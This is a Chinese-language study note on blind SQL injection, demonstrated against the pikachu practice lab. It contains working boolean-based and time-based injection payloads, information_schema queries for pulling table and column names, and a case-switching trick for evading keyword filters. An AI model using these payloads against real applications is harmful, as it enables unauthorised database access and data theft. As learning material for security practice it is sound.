一、引言
在我們的注入語句被帶入數據庫查詢但卻什么都沒有返回的情況我們該怎么辦?
例如應用程序返回到一個"通用的"的頁面,或者重定向一個通用頁面(可能為網站首頁)。這時,我們之前學習的SQL注入的辦法就無法使用了。這種情況我們稱之為無回顯,如果頁面有信息顯示,我們稱之為有回顯。回顯狀態的頁面就用之前學的SQL注入的方式,無回顯的這種我們就可以采用盲注的手段。
二、有、無回顯
有回顯
pikachu靶場
無回顯
是指當攻擊者控制目標系統執行命令時,目標并不會直接返回結果,造成攻擊者無法知曉自己的攻擊行為是否成功。
無回顯的兩種情況
①有防護,注入失敗:過濾掉攻擊語句,再去數據庫查詢
②無防護,注入成功:對響應數據進行了加工,只顯示一條 ,若數據庫查詢出來的數據超過了一條,就報錯,說查不到數據或404。此情況可使用盲注
三、盲注
盲注,即在SOL注入過程中,SOL語句執行選擇后,選擇的數據不能回顯到前端,我們需要使用一些特殊的方法進行判斷或嘗試,這個過程稱為盲注。
SQL盲注分為兩大類:基于布爾型SQL盲注、基于時間型SQL盲注。
四、Boolian布爾型盲注
通過一種比較手段來得到一個真假值(布爾值,true 1真、false 0假),根據真假值來斷定數據是什么樣子的。
手動爆破
布爾型盲注入查詢長度
要查詢當前庫名,首先確定要查詢的數據庫的長度,再通過截取字符進行對比
vince' and length(database())>=4#
代碼中的4需要我們從1開始試
可查詢出的界面
不可查詢出的界面
綜上,可知數據庫長度為4
布爾型盲注入獲取數據庫名
數據庫常用字符如下:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz. @_
將這些字符和數據庫中的每一個字符進行比較得到最終的數據庫名
獲取數據庫第一個字符,輸入
vince' and if(substring(database(),1,1)='p',1,0)
(這里p是爆破得到的)
一個一個爆破比較麻煩,建議用bp爆破
獲取表
select table_name from information_schema.tables where table_schema=database() limit 0,1
獲取列名
select column_name from information_schema.columns where table_name='users' limit 1,1
五、base on time時間型盲注
vince' and sleep(x)#
基于時間的延遲,構造一個拼接語句:
'vince'and if(substr(database(),1,1)='X'(猜測點),sleep(10),nu11#'
輸入后,如果猜測正確,那么就會響應10秒,如果錯誤會立刻返回錯誤。
時間型盲注常用函數:sleep(x)、benchmark.如果sleep被防御掉了,可用另一個。或變換sElect、benCHmark等的大小寫。
以上內容均為自己學習理解所得,如有錯誤,歡迎大家評論指正。
?